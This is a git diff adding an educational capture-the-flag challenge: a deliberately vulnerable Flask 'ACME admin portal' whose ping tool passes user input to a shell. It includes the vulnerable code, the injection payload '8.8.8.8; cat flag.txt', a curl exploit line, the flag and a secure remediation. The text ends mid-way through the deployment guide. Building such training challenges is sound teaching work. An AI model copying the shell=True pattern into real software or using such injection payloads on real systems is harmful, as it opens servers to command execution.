diff --git a/acme-admin-portal/.gitignore b/acme-admin-portal/.gitignore
new file mode 100644
index 00000000..e43b0f98
--- /dev/null
+++ b/acme-admin-portal/.gitignore
@@ -0,0 +1 @@
+.DS_Store
diff --git a/acme-admin-portal/README.md b/acme-admin-portal/README.md
new file mode 100644
index 00000000..74c93297
--- /dev/null
+++ b/acme-admin-portal/README.md
@@ -0,0 +1,188 @@
+# ACME Internal Admin Portal — CTF Challenge
+
+**Category:** Web Exploitation
+**Difficulty:** Beginner / Intermediate
+**Vulnerability:** OS Command Injection (`shell=True`)
+**Educational Purpose:** Demonstrating insecure subprocess usage and secure remediation
+
+---
+
+## Project Overview
+
+This is a purpose-built Capture The Flag (CTF) web challenge for an independent study cybersecurity course. The challenge simulates an accidentally exposed internal IT administration portal for a fictional company, ACME Technologies.
+
+The portal contains a network ping utility that is intentionally vulnerable to OS Command Injection due to insecure use of Python's `subprocess` module with `shell=True` and unsanitized user input.
+
+Players must discover and exploit this vulnerability to retrieve a hidden flag.
+
+---
+
+## Repository Structure
+
+```
+acme-admin-portal-ctf/
+│
+├── author/ # Full source code (instructor/author view)
+│ └── src/ # Complete annotated application source
+│ ├── app.py # Vulnerable Flask application
+│ ├── flag.txt # Challenge flag
+│ ├── requirements.txt
+│ ├── Dockerfile
+│ ├── templates/ # Jinja2 HTML templates
+│ ├── static/ # CSS stylesheet
+│ └── fake_data/ # Immersive fake content
+│
+├── deploy/ # Deployable challenge environment
+│ ├── app.py # Same vulnerable app
+│ ├── Dockerfile
+│ ├── requirements.txt
+│ ├── templates/
+│ ├── static/
+│ ├── fake_data/
+│ ├── flag.txt
+│ └── DEPLOY.md # Deployment instructions
+│
+├── solution/ # Solve script + academic writeup
+│ ├── solve.py # Automated exploit script
+│ └── WRITEUP.md # Step-by-step solution and vulnerability analysis
+│
+└── challenge_description/ # Public-facing challenge prompt
+ └── challenge.md
+```
+
+---
+
+## Vulnerability Description
+
+### Root Cause
+
+The `/ping` endpoint in `app.py` passes user input directly into a shell command using Python's `subprocess.run()` with `shell=True`:
+
+```python
+# VULNERABLE CODE
+result = subprocess.run(
+ f"ping -c 1 {target}", # user input concatenated into shell string
+ shell=True, # shell interprets metacharacters
+ capture_output=True,
+ text=True,
+ timeout=10
+)
+```
+
+With `shell=True`, the command is executed by `/bin/sh`. This means any shell metacharacters (`;`, `&&`, `|`) in the user-supplied `target` parameter will be interpreted by the shell, allowing command injection.
+
+### Example Exploit
+
+Input:
+```
+8.8.8.8; cat flag.txt
+```
+
+Shell executes:
+```bash
+ping -c 1 8.8.8.8; cat flag.txt
+```
+
+Result: the flag is returned in the HTTP response.
+
+---
+
+## Installation & Docker Usage
+
+### Build
+
+```bash
+cd deploy/
+docker build -t acme-portal .
+```
+
+### Run
+
+```bash
+docker run -p 5000:5000 acme-portal
+```
+
+### Access
+
+```
+http://localhost:5000
+```
+
+---
+
+## Intended Solution
+
+1. Browse the application and identify the `/tools` page
+2. Notice the Ping Utility is the only active tool
+3. Test it with a normal IP (`8.8.8.8`) — observe real command output
+4. Inject shell metacharacters: `8.8.8.8; cat flag.txt`
+5. The flag appears in the output
+
+Full step-by-step walkthrough: [`solution/WRITEUP.md`](solution/WRITEUP.md)
+Automated exploit: [`solution/solve.py`](solution/solve.py)
+
+---
+
+## Security Mitigation
+
+The vulnerability is fixed by:
+
+1. **Removing `shell=True`** and passing arguments as a list
+2. **Validating input** against a strict allowlist
+
+```python
+# SECURE VERSION
+import re
+
+target = request.args.get("target", "")
+
+# Validate: only allow IP/hostname characters
+if not re.match(r'^[\d\.a-zA-Z\-]+$', target) or len(target) > 64:
+ return render_template("tools.html", ping_result="Error: Invalid target.")
+
+result = subprocess.run(
+ ["ping", "-c", "1", target], # List form — no shell interpretation
+ capture_output=True,
+ text=True,
+ timeout=10
+ # shell=True removed entirely
+)
+```
+
+**Key principles:**
+- Never use `shell=True` with user-controlled input
+- Validate and allowlist all user input before passing it to system calls
+- Use argument arrays instead of string concatenation
+- Run applications with minimum required privileges
+
+---
+
+## Learning Objectives
+
+After completing this challenge, students should understand:
+
+- What OS Command Injection is and how it occurs
+- Why `shell=True` is dangerous with unsanitized input
+- How shell metacharacters (`;`, `&&`, `|`) enable command chaining
+- How to identify injection points through reconnaissance
+- How to remediate the vulnerability with secure subprocess patterns
+- Basic web exploitation methodology
+
+---
+
+## Educational Purpose Disclaimer
+
+This application is **intentionally vulnerable** and was created solely for educational purposes as part of a cybersecurity coursework project. It demonstrates real-world vulnerability patterns in a controlled, isolated environment.
+
+**Do not deploy this application on a public server or in any production environment.**
+
+All company names, characters, and scenarios are fictional and for educational use only.
+
+---
+
+## References
+
+- [OWASP: Command Injection](https://owasp.org/www-community/attacks/Command_Injection)
+- [Python subprocess — Security Considerations](https://docs.python.org/3/library/subprocess.html#security-considerations)
+- [CWE-78: OS Command Injection](https://cwe.mitre.org/data/definitions/78.html)
+- [PortSwigger: OS Command Injection](https://portswigger.net/web-security/os-command-injection)
diff --git a/acme-admin-portal/author/README_AUTHOR.md b/acme-admin-portal/author/README_AUTHOR.md
new file mode 100644
index 00000000..dca095f9
--- /dev/null
+++ b/acme-admin-portal/author/README_AUTHOR.md
@@ -0,0 +1,55 @@
+# ACME Admin Portal — Author Notes (Internal)
+
+This file is for the challenge author / instructor only.
+
+---
+
+## Flag
+
+```
+flag{internal_tools_should_not_use_shell_true}
+```
+
+Located in: `app.py` root directory (both `author/src/` and `deploy/`)
+
+---
+
+## Vulnerability Summary
+
+- **File:** `app.py`, function `ping()`, route `/ping`
+- **Root cause:** `subprocess.run(f"ping -c 1 {target}", shell=True, ...)`
+- **Attack vector:** GET parameter `target` with no sanitization
+- **Exploit:** `8.8.8.8; cat flag.txt`
+
+---
+
+## Testing the Challenge
+
+Start the app:
+```bash
+cd author/src
+pip install flask
+python app.py
+```
+
+Verify vulnerability:
+```
+curl "http://localhost:5000/ping?target=8.8.8.8;+cat+flag.txt"
+```
+
+Run automated solve:
+```bash
+python solution/solve.py
+```
+
+---
+
+## Submission Checklist
+
+- [x] Source code in `author/src/`
+- [x] Deployable Docker environment in `deploy/`
+- [x] Deployment instructions in `deploy/DEPLOY.md`
+- [x] Solve script at `solution/solve.py`
+- [x] Written writeup at `solution/WRITEUP.md`
+- [x] Challenge description at `challenge_description/challenge.md`
+- [x] Root `README.md` with full project documentation
diff --git a/acme-admin-portal/author/src/Dockerfile b/acme-admin-portal/author/src/Dockerfile
new file mode 100644
index 00000000..90496407
--- /dev/null
+++ b/acme-admin-portal/author/src/Dockerfile
@@ -0,0 +1,12 @@
+FROM python:3.11-slim
+
+WORKDIR /app
+
+COPY requirements.txt .
+RUN pip install --no-cache-dir -r requirements.txt
+
+COPY . .
+
+EXPOSE 5000
+
+CMD ["python", "app.py"]
diff --git a/acme-admin-portal/author/src/app.py b/acme-admin-portal/author/src/app.py
new file mode 100644
index 00000000..b7927539
--- /dev/null
+++ b/acme-admin-portal/author/src/app.py
@@ -0,0 +1,76 @@
+#!/usr/bin/env python3
+"""
+ACME Internal Admin Portal
+==========================
+Author copy — includes full source and vulnerability notes.
+
+INTENTIONALLY VULNERABLE APPLICATION — FOR EDUCATIONAL PURPOSES ONLY
+This application is designed to demonstrate OS command injection vulnerabilities.
+DO NOT deploy in a production environment.
+"""
+
+import subprocess
+from flask import Flask, render_template, request
+
+app = Flask(__name__)
+
+
+@app.route("/")
+def index():
+ return render_template("index.html")
+
+
+@app.route("/tools")
+def tools():
+ return render_template("tools.html")
+
+
+@app.route("/logs")
+def logs():
+ with open("fake_data/logs.txt", "r") as f:
+ log_content = f.read()
+ return render_template("logs.html", logs=log_content)
+
+
+@app.route("/about")
+def about():
+ return render_template("about.html")
+
+
+# =============================================================================
+# VULNERABLE ENDPOINT — DO NOT USE IN PRODUCTION
+# Vulnerability: OS Command Injection via shell=True
+# The user-supplied `target` parameter is passed directly into a shell command
+# without any sanitization. An attacker can inject shell metacharacters such as
+# ; | && to chain arbitrary commands.
+#
+# Example exploit:
+# /ping?target=8.8.8.8; cat flag.txt
+# =============================================================================
+@app.route("/ping")
+def ping():
+ target = request.args.get("target", "")
+
+ if not target:
+ return render_template("tools.html", ping_result="Error: No target specified.")
+
+ # VULNERABLE: shell=True with unsanitized user input
+ try:
+ result = subprocess.run(
+ f"ping -c 1 {target}", # <-- user input concatenated directly!
+ shell=True, # <-- shell=True enables metacharacter injection
+ capture_output=True,
+ text=True,
+ timeout=10
+ )
+ output = result.stdout + result.stderr
+ except subprocess.TimeoutExpired:
+ output = "Error: Request timed out."
+ except Exception as e:
+ output = f"Error: {str(e)}"
+
+ return render_template("tools.html", ping_result=output)
+
+
+if __name__ == "__main__":
+ app.run(host="0.0.0.0", port=5000, debug=False)
diff --git a/acme-admin-portal/author/src/fake_data/TODO.md b/acme-admin-portal/author/src/fake_data/TODO.md
new file mode 100644
index 00000000..021626a1
--- /dev/null
+++ b/acme-admin-portal/author/src/fake_data/TODO.md
@@ -0,0 +1,24 @@
+# ACME Admin Portal — TODO
+
+## High Priority
+- [ ] Implement authentication (portal is currently unauthenticated!)
+- [ ] Migrate diagnostics tools to safe subprocess calls (no shell=True)
+- [ ] Input validation for all form fields
+- [ ] Enable HTTPS
+
+## Medium Priority
+- [ ] Implement DNS lookup backend
+- [ ] Implement port scanner (rate-limited)
+- [ ] Improve logging — add timestamps and user tracking
+- [ ] Add session management
+
+## Low Priority
+- [ ] Dark/light mode toggle
+- [ ] Export logs to CSV
+- [ ] Integrate with internal ticketing system
+
+## Done
+- [x] Basic dashboard layout
+- [x] Ping utility (NEEDS SECURITY REVIEW)
+- [x] Fake log viewer
+- [x] Docker containerization
diff --git a/acme-admin-portal/author/src/fake_data/admin_notes.txt b/acme-admin-portal/author/src/fake_data/admin_notes.txt
new file mode 100644
index 00000000..fc5b7306
--- /dev/null
+++ b/acme-admin-portal/author/src/fake_data/admin_notes.txt
@@ -0,0 +1,28 @@
+ACME Technologies — Internal Admin Notes
+========================================
+Last updated: 2024-03-15 | Author: j.harris@acme-tech.internal
+
+REMINDERS (before next sprint):
+--------------------------------
+- [ ] Sanitize ALL user input on diagnostics endpoints
+- [ ] Remove shell=True before production deployment — THIS IS A SECURITY RISK
+- [ ] Rotate admin credentials (current ones have been shared too widely)
+- [ ] Restrict portal access to internal VPN only
+- [ ] Add authentication layer — portal is currently wide open
+- [ ] Audit subprocess calls in app.py
+
+KNOWN ISSUES:
+-------------
+- Ping utility does not validate IP format
+- DNS lookup is not yet implemented (placeholder only)
+- Port scanner stub needs backend logic
+- Log viewer loads entire log file (could be slow at scale)
+
+TEMP CREDENTIALS (DO NOT LEAVE IN PRODUCTION):
+-----------------------------------------------
+admin / admin123 <-- CHANGE THIS IMMEDIATELY
+
+NOTES FROM LAST MEETING:
+-------------------------
+Marcus flagged the diagnostics page as a potential risk vector.
+We agreed to patch before Q2 external audit. Deadline: EOD Friday.
diff --git a/acme-admin-portal/author/src/fake_data/logs.txt b/acme-admin-portal/author/src/fake_data/logs.txt
new file mode 100644
index 00000000..150a8ff7
--- /dev/null
+++ b/acme-admin-portal/author/src/fake_data/logs.txt
@@ -0,0 +1,22 @@
+[2024-03-15 08:01:03] [INFO] System monitoring service started
+[2024-03-15 08:01:04] [INFO] ICMP diagnostics module initialized
+[2024-03-15 08:01:05] [INFO] Web interface listening on 0.0.0.0:5000
+[2024-03-15 08:14:22] [INFO] GET / — 200 OK
+[2024-03-15 08:15:01] [INFO] GET /tools — 200 OK
+[2024-03-15 08:15:44] [WARN] User input validation DISABLED for diagnostics endpoint (testing mode)
+[2024-03-15 08:16:02] [INFO] Ping executed: target=8.8.8.8
+[2024-03-15 08:21:17] [WARN] Failed login attempt from 10.0.4.21
+[2024-03-15 08:21:18] [WARN] Failed login attempt from 10.0.4.21
+[2024-03-15 08:21:19] [WARN] Failed login attempt from 10.0.4.21
+[2024-03-15 08:21:20] [WARN] Account lockout threshold not configured — no lockout applied
+[2024-03-15 09:03:55] [INFO] DNS cache refreshed
+[2024-03-15 09:45:12] [INFO] Ping executed: target=192.168.1.1
+[2024-03-15 10:02:31] [ERROR] Subprocess timeout — target unreachable
+[2024-03-15 10:30:00] [INFO] Scheduled log rotation skipped (not configured)
+[2024-03-15 11:15:44] [INFO] GET /logs — 200 OK
+[2024-03-15 12:00:00] [INFO] Heartbeat OK — all systems nominal
+[2024-03-15 13:22:09] [WARN] Portal accessible from external IP — VPN restriction not enforced
+[2024-03-15 14:08:53] [INFO] Ping executed: target=10.0.0.1
+[2024-03-15 15:30:11] [INFO] GET /about — 200 OK
+[2024-03-15 16:45:00] [WARN] SSL certificate expires in 12 days — renewal pending
+[2024-03-15 17:00:00] [INFO] End-of-day snapshot complete
diff --git a/acme-admin-portal/author/src/flag.txt b/acme-admin-portal/author/src/flag.txt
new file mode 100644
index 00000000..549a6bec
--- /dev/null
+++ b/acme-admin-portal/author/src/flag.txt
@@ -0,0 +1 @@
+flag{internal_tools_should_not_use_shell_true}
diff --git a/acme-admin-portal/author/src/requirements.txt b/acme-admin-portal/author/src/requirements.txt
new file mode 100644
index 00000000..7e106024
--- /dev/null
+++ b/acme-admin-portal/author/src/requirements.txt
@@ -0,0 +1 @@
+flask
diff --git a/acme-admin-portal/author/src/static/style.css b/acme-admin-portal/author/src/static/style.css
new file mode 100644
index 00000000..7d52944a
--- /dev/null
+++ b/acme-admin-portal/author/src/static/style.css
@@ -0,0 +1,348 @@
+/* ============================================================
+ ACME INTERNAL ADMIN PORTAL — Stylesheet
+ Dark industrial IT dashboard aesthetic
+ ============================================================ */
+
+@import url('https://fonts.googleapis.com/css2?family=IBM+Plex+Mono:wght@400;500;600&family=IBM+Plex+Sans:wght@300;400;500;600&display=swap');
+
+:root {
+ --bg: #0f172a;
+ --surface: #1e293b;
+ --surface-2: #273548;
+ --border: #334155;
+ --accent: #38bdf8;
+ --accent-dim: #0ea5e9;
+ --text: #e2e8f0;
+ --text-muted: #64748b;
+ --text-dim: #94a3b8;
+ --green: #22c55e;
+ --yellow: #f59e0b;
+ --red: #ef4444;
+ --font-sans: 'IBM Plex Sans', monospace;
+ --font-mono: 'IBM Plex Mono', monospace;
+ --topbar-h: 52px;
+ --sidebar-w: 220px;
+ --footer-h: 36px;
+}
+
+*, *::before, *::after { box-sizing: border-box; margin: 0; padding: 0; }
+
+body {
+ background: var(--bg);
+ color: var(--text);
+ font-family: var(--font-sans);
+ font-size: 14px;
+ line-height: 1.6;
+ min-height: 100vh;
+ display: flex;
+ flex-direction: column;
+}
+
+/* ── TOPBAR ────────────────────────────────── */
+.topbar {
+ height: var(--topbar-h);
+ background: var(--surface);
+ border-bottom: 1px solid var(--border);
+ display: flex;
+ align-items: center;
+ justify-content: space-between;
+ padding: 0 1.5rem;
+ position: sticky;
+ top: 0;
+ z-index: 100;
+}
+
+.topbar-left { display: flex; align-items: center; gap: 0.6rem; }
+.logo-mark { color: var(--accent); font-size: 1.2rem; }
+.logo-text { font-family: var(--font-mono); font-weight: 600; font-size: 0.95rem; letter-spacing: 0.08em; }
+.logo-sub { color: var(--text-muted); font-weight: 400; }
+
+.topbar-right { display: flex; align-items: center; gap: 0.75rem; font-size: 0.8rem; color: var(--text-dim); }
+.status-dot { width: 8px; height: 8px; border-radius: 50%; background: var(--green); box-shadow: 0 0 6px var(--green); }
+.divider { color: var(--border); }
+.env-badge {
+ font-family: var(--font-mono);
+ font-size: 0.7rem;
+ background: rgba(56,189,248,0.12);
+ color: var(--accent);
+ border: 1px solid rgba(56,189,248,0.3);
+ padding: 2px 8px;
+ border-radius: 3px;
+ letter-spacing: 0.1em;
+}
+
+/* ── LAYOUT ────────────────────────────────── */
+.layout {
+ display: flex;
+ flex: 1;
+ min-height: calc(100vh - var(--topbar-h) - var(--footer-h));
+}
+
+/* ── SIDEBAR ───────────────────────────────── */
+.sidebar {
+ width: var(--sidebar-w);
+ background: var(--surface);
+ border-right: 1px solid var(--border);
+ display: flex;
+ flex-direction: column;
+ justify-content: space-between;
+ padding: 1.2rem 0;
+ flex-shrink: 0;
+}
+
+.sidebar-section { display: flex; flex-direction: column; gap: 2px; }
+.sidebar-label {
+ font-family: var(--font-mono);
+ font-size: 0.65rem;
+ letter-spacing: 0.15em;
+ color: var(--text-muted);
+ padding: 0 1rem 0.5rem;
+}
+
+.nav-link {
+ display: flex;
+ align-items: center;
+ gap: 0.6rem;
+ padding: 0.55rem 1rem;
+ color: var(--text-dim);
+ text-decoration: none;
+ font-size: 0.875rem;
+ transition: all 0.15s;
+ border-left: 2px solid transparent;
+}
+.nav-link:hover { background: var(--surface-2); color: var(--text); }
+.nav-link.active { background: rgba(56,189,248,0.08); color: var(--accent); border-left-color: var(--accent); }
+.nav-icon { font-size: 0.5rem; color: var(--border); }
+.nav-link.active .nav-icon { color: var(--accent); }
+
+.sidebar-footer { padding: 1rem; border-top: 1px solid var(--border); margin-top: 1rem; }
+.session-info { font-family: var(--font-mono); font-size: 0.75rem; color: var(--text-muted); line-height: 1.7; }
+.session-info.muted { color: var(--border); }
+
+/* ── MAIN CONTENT ──────────────────────────── */
+.main-content { flex: 1; padding: 1.75rem 2rem; overflow-y: auto; }
+
+.page-header { margin-bottom: 1.5rem; }
+.page-title { font-size: 1.35rem; font-weight: 600; color: var(--text); line-height: 1.2; }
+.page-subtitle { font-size: 0.8rem; color: var(--text-muted); font-family: var(--font-mono); }
+
+/* ── ALERT BANNERS ─────────────────────────── */
+.alert-banner {
+ display: flex;
+ align-items: center;
+ gap: 0.75rem;
+ padding: 0.65rem 1rem;
+ border-radius: 4px;
+ margin-bottom: 1.5rem;
+ font-size: 0.83rem;
+ border-left: 3px solid;
+}
+.alert-banner.warning { background: rgba(245,158,11,0.08); border-color: var(--yellow); color: #fcd34d; }
+.alert-banner.info { background: rgba(56,189,248,0.07); border-color: var(--accent); color: var(--accent); }
+.alert-icon { font-size: 1rem; }
+
+/* ── CARDS ─────────────────────────────────── */
+.card-grid {
+ display: grid;
+ grid-template-columns: repeat(auto-fill, minmax(300px, 1fr));
+ gap: 1.25rem;
+}
+.card-grid.two-col { grid-template-columns: repeat(auto-fill, minmax(380px, 1fr)); }
+
+.card {
+ background: var(--surface);
+ border: 1px solid var(--border);
+ border-radius: 6px;
+ padding: 1.25rem;
+}
+
+.card-header {
+ display: flex;
+ align-items: center;
+ justify-content: space-between;
+ margin-bottom: 1rem;
+ padding-bottom: 0.75rem;
+ border-bottom: 1px solid var(--border);
+}
+.card-title { font-weight: 600; font-size: 0.9rem; letter-spacing: 0.02em; }
+
+/* ── BADGES ────────────────────────────────── */
+.badge {
+ font-family: var(--font-mono);
+ font-size: 0.65rem;
+ font-weight: 600;
+ letter-spacing: 0.1em;
+ padding: 2px 8px;
+ border-radius: 3px;
+}
+.badge-green { background: rgba(34,197,94,0.12); color: var(--green); border: 1px solid rgba(34,197,94,0.3); }
+.badge-blue { background: rgba(56,189,248,0.12); color: var(--accent); border: 1px solid rgba(56,189,248,0.3); }
+.badge-yellow { background: rgba(245,158,11,0.12); color: var(--yellow); border: 1px solid rgba(245,158,11,0.3); }
+.badge-red { background: rgba(239,68,68,0.12); color: var(--red); border: 1px solid rgba(239,68,68,0.3); }
+
+/* ── STAT LIST ─────────────────────────────── */
+.stat-list { display: flex; flex-direction: column; gap: 0.5rem; }
+.stat-row { display: flex; justify-content: space-between; align-items: center; font-size: 0.83rem; }
+.stat-label { color: var(--text-muted); }
+.stat-value { font-family: var(--font-mono); font-size: 0.8rem; color: var(--text-dim); }
+.stat-value.online { color: var(--green); }
+.stat-value.offline { color: var(--red); }
+.stat-value.warn { color: var(--yellow); }
+
+/* ── UPTIME DISPLAY ────────────────────────── */
+.uptime-display { text-align: center; padding: 0.75rem 0; }
+.uptime-number { font-family: var(--font-mono); font-size: 1.8rem; font-weight: 600; color: var(--accent); letter-spacing: 0.05em; }
+.uptime-label { font-size: 0.75rem; color: var(--text-muted); margin-top: 2px; }
+
+/* ── ALERT LIST ────────────────────────────── */
+.alert-list { display: flex; flex-direction: column; gap: 0.6rem; }
+.alert-item { display: flex; gap: 0.75rem; font-size: 0.8rem; align-items: flex-start; }
+.alert-item.warn { color: #fcd34d; }
+.alert-time { font-family: var(--font-mono); font-size: 0.75rem; color: var(--text-muted); flex-shrink: 0; padding-top: 1px; }
+
+/* ── QUICK LINKS ───────────────────────────── */
+.quick-links { display: flex; flex-direction: column; gap: 0.5rem; margin-bottom: 1rem; }
+.quick-link-btn {
+ display: block;
+ text-align: center;
+ padding: 0.55rem 1rem;
+ background: var(--surface-2);
+ border: 1px solid var(--border);
+ border-radius: 4px;
+ color: var(--text-dim);
+ text-decoration: none;
+ font-size: 0.83rem;
+ transition: all 0.15s;
+}
+.quick-link-btn:hover { background: rgba(56,189,248,0.08); border-color: var(--accent); color: var(--accent); }
+
+.card-note { font-size: 0.75rem; color: var(--text-muted); margin-top: 0.75rem; padding-top: 0.75rem; border-top: 1px solid var(--border); }
+
+/* ── TOOLS PAGE ────────────────────────────── */
+.tools-grid { display: flex; flex-direction: column; gap: 1.25rem; }
+.tool-card { max-width: 680px; }
+.tool-description { font-size: 0.83rem; color: var(--text-muted); margin-bottom: 1rem; }
+
+.tool-form { display: flex; flex-direction: column; gap: 0.75rem; }
+.input-group { display: flex; flex-direction: column; gap: 0.3rem; }
+.input-label { font-size: 0.78rem; color: var(--text-muted); font-family: var(--font-mono); letter-spacing: 0.05em; }
+
+.tool-input {
+ background: var(--bg);
+ border: 1px solid var(--border);
+ border-radius: 4px;
+ padding: 0.55rem 0.85rem;
+ color: var(--text);
+ font-family: var(--font-mono);
+ font-size: 0.88rem;
+ width: 100%;
+ transition: border-color 0.15s;
+}
+.tool-input:focus { outline: none; border-color: var(--accent); box-shadow: 0 0 0 2px rgba(56,189,248,0.1); }
+.tool-input:disabled { opacity: 0.4; cursor: not-allowed; }
+
+.tool-btn {
+ align-self: flex-start;
+ background: var(--accent);
+ color: #0f172a;
+ border: none;
+ border-radius: 4px;
+ padding: 0.5rem 1.4rem;
+ font-family: var(--font-mono);
+ font-weight: 600;
+ font-size: 0.83rem;
+ letter-spacing: 0.05em;
+ cursor: pointer;
+ transition: background 0.15s, opacity 0.15s;
+}
+.tool-btn:hover { background: var(--accent-dim); }
+.tool-btn.disabled { background: var(--surface-2); color: var(--text-muted); cursor: not-allowed; }
+
+.disabled-tool { opacity: 0.65; }
+
+/* ── RESULT BOX ────────────────────────────── */
+.result-box {
+ margin-top: 1.25rem;
+ border: 1px solid var(--border);
+ border-radius: 4px;
+ overflow: hidden;
+}
+.result-header {
+ display: flex;
+ justify-content: space-between;
+ padding: 0.4rem 0.85rem;
+ background: var(--surface-2);
+ font-family: var(--font-mono);
+ font-size: 0.7rem;
+ letter-spacing: 0.1em;
+ color: var(--text-muted);
+ border-bottom: 1px solid var(--border);
+}
+.result-output {
+ background: #080f1a;
+ color: var(--green);
+ font-family: var(--font-mono);
+ font-size: 0.82rem;
+ padding: 1rem;
+ white-space: pre-wrap;
+ word-break: break-all;
+ max-height: 400px;
+ overflow-y: auto;
+ line-height: 1.7;
+}
+
+/* ── LOGS PAGE ─────────────────────────────── */
+.log-controls {
+ display: flex;
+ gap: 0.5rem;
+ margin-bottom: 1rem;
+}
+.log-filter {
+ font-family: var(--font-mono);
+ font-size: 0.72rem;
+ padding: 3px 10px;
+ border-radius: 3px;
+ border: 1px solid var(--border);
+ color: var(--text-muted);
+ cursor: pointer;
+ letter-spacing: 0.08em;
+}
+.log-filter.active { background: rgba(56,189,248,0.1); color: var(--accent); border-color: rgba(56,189,248,0.3); }
+
+.log-viewer {
+ background: #080f1a;
+ color: var(--text-dim);
+ font-family: var(--font-mono);
+ font-size: 0.8rem;
+ padding: 1rem;
+ border-radius: 4px;
+ border: 1px solid var(--border);
+ white-space: pre-wrap;
+ line-height: 1.8;
+ max-height: 520px;
+ overflow-y: auto;
+}
+
+/* ── ABOUT PAGE ────────────────────────────── */
+.about-text p { color: var(--text-dim); font-size: 0.875rem; margin-bottom: 0.75rem; line-height: 1.7; }
+
+/* ── FOOTER ────────────────────────────────── */
+.footer {
+ height: var(--footer-h);
+ background: var(--surface);
+ border-top: 1px solid var(--border);
+ display: flex;
+ align-items: center;
+ justify-content: space-between;
+ padding: 0 1.5rem;
+ font-family: var(--font-mono);
+ font-size: 0.7rem;
+ color: var(--text-muted);
+}
+.footer-right { color: var(--yellow); letter-spacing: 0.05em; }
+
+/* ── SCROLLBAR ─────────────────────────────── */
+::-webkit-scrollbar { width: 6px; height: 6px; }
+::-webkit-scrollbar-track { background: var(--bg); }
+::-webkit-scrollbar-thumb { background: var(--border); border-radius: 3px; }
+::-webkit-scrollbar-thumb:hover { background: var(--text-muted); }
diff --git a/acme-admin-portal/author/src/templates/about.html b/acme-admin-portal/author/src/templates/about.html
new file mode 100644
index 00000000..3dfab3ff
--- /dev/null
+++ b/acme-admin-portal/author/src/templates/about.html
@@ -0,0 +1,90 @@
+{% extends "base.html" %}
+{% block content %}
+
+
+
About
+ ACME Technologies — Internal Admin Portal
+
+
+
+
+
+
+ About ACME Technologies
+
+
+
ACME Technologies is a global infrastructure and IT operations firm providing enterprise-grade networking, monitoring, and diagnostic solutions to Fortune 500 clients.
+
Founded in 1998, ACME operates data centers across 14 regions and supports over 40,000 enterprise endpoints worldwide.
+
This internal administration portal provides IT staff with real-time network diagnostic capabilities, system health monitoring, and infrastructure management tooling.
+
+
+
+
+
+ Portal Information
+
+
+
+ Application
+ ACME Admin Portal
+
+
+ Version
+ 2.4.1
+
+
+ Framework
+ Flask 3.x / Python 3.11
+
+
+ Environment
+ ⚠ Production (Unprotected)
+
+
+ Auth Status
+ ● Disabled
+
+
+ Maintained by
+ IT Operations Team
+
+
+
+
+
+
+ Contact
+
+
+
+ IT Helpdesk
+ it-help@acme-tech.internal
+
+
+ Security Team
+ security@acme-tech.internal
+
+
+ NOC
+ noc@acme-tech.internal
+
+
+ Emergency
+ ext. 9-1-1 (internal)
+
+
+
+
+
+
+ Legal & Compliance
+
+
+
Access to this portal is restricted to authorized ACME Technologies employees and contractors. All activity on this system is monitored and logged.
+
Unauthorized access, data exfiltration, or misuse of administrative tools is a violation of company policy and may constitute a criminal offense under applicable computer fraud statutes.
+ ⓘ
+ These tools are intended for internal network diagnostics only. Results are rendered directly from the system.
+
+
+
+
+
+
+
+ Ping Utility
+ ACTIVE
+
+
+ Send an ICMP echo request to a target host to verify connectivity.
+
+
+
+ {% if ping_result %}
+
+
+ OUTPUT
+ {{ self.__class__.__name__ }}
+
+
{{ ping_result }}
+
+ {% endif %}
+
+
+
+
+
+ DNS Lookup
+ OFFLINE
+
+
+ Resolve a domain name to its IP address using the internal DNS resolver.
+
+
+
+
+
+
+
⚠ DNS module is offline — scheduled for maintenance.
+
+
+
+
+
+ Port Scanner
+ OFFLINE
+
+
+ Scan a host for open TCP ports within a specified range.
+
+
+
+
+
+
+
⚠ Port scanner pending security review and approval.
+
+
+
+
+{% endblock %}
diff --git a/acme-admin-portal/challenge_description/challenge.md b/acme-admin-portal/challenge_description/challenge.md
new file mode 100644
index 00000000..fd23e3bf
--- /dev/null
+++ b/acme-admin-portal/challenge_description/challenge.md
@@ -0,0 +1,66 @@
+# ACME Internal Admin Portal
+
+**Category:** Web Exploitation
+**Difficulty:** Easy
+**Points:** 100
+
+---
+
+## Scenario
+
+Our threat intelligence team has flagged an internal IT administration portal belonging to ACME Technologies that appears to have been accidentally exposed to the public internet.
+
+The portal contains several network diagnostic utilities used by their operations staff. Something about the way these tools are implemented doesn't seem quite right.
+
+Can you investigate the portal and retrieve the hidden flag?
+
+---
+
+## Target
+
+```
+http://localhost:5000
+```
+
+*(If deployed remotely, your instructor will provide the target URL.)*
+
+---
+
+## Objective
+
+Find and exploit the vulnerability to retrieve the flag.
+
+Flags are in the format:
+
+```
+flag{...}
+```
+
+---
+
+## Hints
+
+
+Hint 1 — Where to look
+Focus on the Network Tools page. Only one utility is actually functional.
+
+
+
+Hint 2 — What to look for
+The ping tool takes user input and appears to execute a real system command. What happens when you give it something unexpected?
+
+
+
+Hint 3 — How to exploit
+Try using shell metacharacters in the input field. What does a semicolon (;) do in a shell?
+
+
+---
+
+## Deployment
+
+See `DEPLOY.md` for setup instructions.
+
+---
+
+*This challenge was created for educational purposes as part of an independent study cybersecurity course.*
diff --git a/acme-admin-portal/deploy/DEPLOY.md b/acme-admin-portal/deploy/DEPLOY.md
new file mode 100644
index 00000000..7086e4b1
--- /dev/null
+++ b/acme-admin-portal/deploy/DEPLOY.md
@@ -0,0 +1,101 @@
+# ACME Internal Admin Portal — Deployment Guide
+
+This document explains how to deploy the challenge environment using Docker.
+
+---
+
+## Requirements
+
+- [Docker](https://docs.docker.com/get-docker/) installed and running
+- Port `5000` available on the host machine
+
+---
+
+## Quick Start (Recommended)
+
+### 1. Build the Docker image
+
+From the `deploy/` directory, run:
+
+```bash
+docker build -t acme-portal .
+```
+
+### 2. Run the container
+
+```bash
+docker run -p 5000:5000 acme-portal
+```
+
+### 3. Access the portal
+
+Open your browser and navigate to:
+
+```
+http://localhost:5000
+```
+
+The challenge is now live.
+
+---
+
+## Stopping the Container
+
+```bash
+# Find the running container
+docker ps
+
+# Stop it
+docker stop
+```
+
+Or press `Ctrl+C` if running in the foreground.
+
+---
+
+## Rebuilding After Changes
+
+If you modify any source files:
+
+```bash
+docker build --no-cache -t acme-portal .
+docker run -p 5000:5000 acme-portal
+```
+
+---
+
+## Running Without Docker (Alternative)
+
+If Docker is unavailable, you can run the app directly with Python 3.11+:
+
+```bash
+# Install dependencies
+pip install -r requirements.txt
+
+# Run the application
+python app.py
+```
+
+Then visit `http://localhost:5000`.
+
+---
+
+## What the Competitor Receives
+
+Competitors are given:
